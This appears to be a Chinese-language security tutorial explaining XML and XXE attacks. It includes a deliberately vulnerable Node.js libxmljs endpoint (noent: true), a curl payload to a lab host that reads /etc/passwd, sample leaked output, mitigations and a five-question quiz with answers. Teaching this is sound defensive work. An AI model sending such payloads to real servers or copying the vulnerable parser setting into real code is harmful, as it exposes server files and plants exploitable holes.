XML(可擴展標記語言,Extensible Markup Language)是一種常用於儲存和傳輸資料的語言,其結構類似於 HTML。
不同於 HTML 固定的標籤,XML 是可自定義的,允許開發者根據需求定義自己的標籤,因此非常適合用於資料交換和設定檔案。以下是一個簡單的 XML 範例:
<?xml version="1.0" encoding="UTF-8"?>
<book>
<title>Learn Cybersecurity</title>
<author>Phoebe</author>
</book>
XML 的彈性讓它成為許多應用程式傳遞資料的主要格式,尤其是早期的網路服務和 SOAP 協定。雖然現在 JSON 越來越流行,但 XML 仍然在許多系統中廣泛使用。
XXE(XML External Entity,XML 外部實體)是一種針對 XML 解析器的攻擊手法,當應用程式解析 XML 並允許處理外部實體時,攻擊者可以利用此漏洞讀取伺服器上的敏感資料或執行系統命令。
在 XML 中,實體(Entity)類似於變數的概念,可以代表某段文本或資料。而外部實體則是指那些儲存在外部資源(例如檔案系統或 URL)中的資料。
例如,以下的 XML 包含一個外部實體 &xxe;
,其值是伺服器上的 /etc/passwd
檔案內容:
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
當 XML 解析器允許擴展外部實體時,這段 XML 將會嘗試讀取伺服器上的 /etc/passwd
檔案,並將其內容插入到 <foo>
元素中。這種行為正是 XXE 攻擊的核心。
XXE 漏洞的出現是由於某些 XML 解析器預設允許外部實體的解析,並且沒有進行適當的安全檢查。如果應用程式直接解析使用者輸入的 XML,而沒有對外部實體進行禁用或過濾,攻擊者就可以利用這個漏洞進行攻擊。
這些攻擊可能包括:
/etc/passwd
,這是 Linux 系統上的一個檔案,儲存系統上的使用者帳戶資訊。https://github.com/fei3363/ithelp_web_security_2024/commit/d69a47b92542a78edbe25ce233af80bcf4e917a5
libxmljs
來處理 XMLweb/package.json
"mongoose": "^6.0.0",
"libxmljs": "^1.0.7"
},
libxmljs
來處理 XMLnoent: true
故意讓它允許外部實體的解析// 引入所需模組
const libxmljs = require('libxmljs');
// 設定伺服器接受 XML 格式的請求
app.use(express.text({ type: 'application/xml' }));
// 處理 XML 請求的路由
app.post('/load_xml', async function (req, res) {
console.log('收到的 XML:', req.body);
try {
const xml = req.body;
const doc = libxmljs.parseXml(xml, { noent: true });
res.send(doc.toString({ format: true }));
} catch (err) {
res.status(500).send(err.toString());
}
});
現在,我們可以啟動伺服器並使用 curl
測試這個 XXE 漏洞。這裡的 payload 試圖讀取伺服器上的 /etc/passwd
檔案:
curl -X POST -H "Content-Type: application/xml" -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>' http://nodelab.feifei.tw/load_xml
這個指令會向伺服器發送一個 XML 檔案,其中包含一個外部實體 &xxe;
,該實體會嘗試讀取 /etc/passwd
檔案。如果伺服器存在 XXE 漏洞,將會回傳該檔案的內容。
如果伺服器存在漏洞,回傳的結果會類似於以下內容:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
</foo>
此結果表示伺服器成功解析了外部實體,並將 /etc/passwd
檔案的內容作為 XML 回傳。
要防止 XXE 漏洞,我們可以採取以下幾種方法:
libxmljs.parseXml
中的 noent
設為 false
來避免外部實體被解析。透過這個實作練習,我們了解了 XXE 漏洞的原理和風險。作為開發者,保護應用程式免受 XXE 攻擊的最佳方式是了解這些漏洞的來源,並在編寫程式碼時採取適當的安全措施,尤其是禁用不必要的外部實體解析。
XML的主要用途是什麼?
A) 網頁排版
B) 資料儲存和傳輸
C) 程式碼編譯
D) 影像處理
答案: B
解析: XML(可擴展標記語言)主要用於儲存和傳輸資料。它允許開發者自定義標籤,非常適合用於資料交換和設定檔案。
以下哪項不是XXE(XML外部實體)漏洞可能造成的攻擊?
A) 讀取伺服器上的敏感檔案
B) 進行服務拒絕(DoS)攻擊
C) 伺服器端請求偽造(SSRF)
D) 暴力破解
答案: D
解析: XXE漏洞可能導致讀取敏感檔案、DoS攻擊和SSRF,但暴力破解是另一種不同的攻擊方式,與XML解析無關。
在XML中,外部實體(External Entity)指的是什麼?
A) XML檔案中的註釋
B) XML檔案的根元素
C) 儲存在外部資源中的資料
D) XML檔案的屬性
答案: C
解析: 在XML中,外部實體是指那些儲存在外部資源(例如檔案系統或URL)中的資料。
以下哪種方法不能有效防範XXE漏洞?
A) 禁用外部實體解析
B) 使用安全的XML解析庫
C) 對使用者輸入的XML內容進行檢查和過濾
D) 增加XML檔案的大小限制
答案: D
解析: 增加XML檔案的大小限制雖然可能減緩某些DoS攻擊,但不能直接防範XXE漏洞。有效的方法包括禁用外部實體解析、使用安全的XML解析庫,以及輸入檢查和過濾。
在給出的Node.js程式碼中,哪個設定使得XML解析器容易受到XXE攻擊?
A) express.text({ type: 'application/xml' })
B) libxmljs.parseXml(xml, { noent: true })
C) res.send(doc.toString({ format: true }))
D) app.post('/load_xml', async function (req, res) { ... })
答案: B
解析: libxmljs.parseXml(xml, { noent: true }) 中的 noent: true 設定允許解析外部實體,這使得XML解析器容易受到XXE攻擊。為了防範XXE漏洞,應將此設定改為 false。